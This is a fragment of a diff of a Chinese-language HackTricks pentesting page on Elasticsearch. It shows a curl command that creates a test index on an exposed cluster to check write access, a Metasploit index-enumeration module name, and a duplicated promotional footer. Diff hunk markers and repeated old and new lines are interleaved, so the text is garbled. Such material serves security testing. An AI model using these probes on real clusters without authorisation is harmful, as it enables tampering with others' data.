您可以尝试在一个新索引内创建一个新文档来检查您的写入权限,运行类似以下的操作
```bash
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
{
@ -201,9 +159,9 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
"name" : "how to get a job"
}'
```
该命令将创建一个名为`bookindex`的**新索引**,其中包含一个名为`books`的文档,该文档具有属性"_bookId_"、"_author_"、"_publisher_"和"_name_"
该命令将创建一个名为 `bookindex` 的**新索引**,其中包含一个类型为 `books` 的文档,该文档具有属性 "_bookId_"、"_author_"、"_publisher_" "_name_"
注意**新索引现在出现在列表中**
注意**新索引现在出现在列表中**
![](<../.gitbook/assets/image (268).png>)
@ -225,16 +183,14 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
其他支持HackTricks的方式
- 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>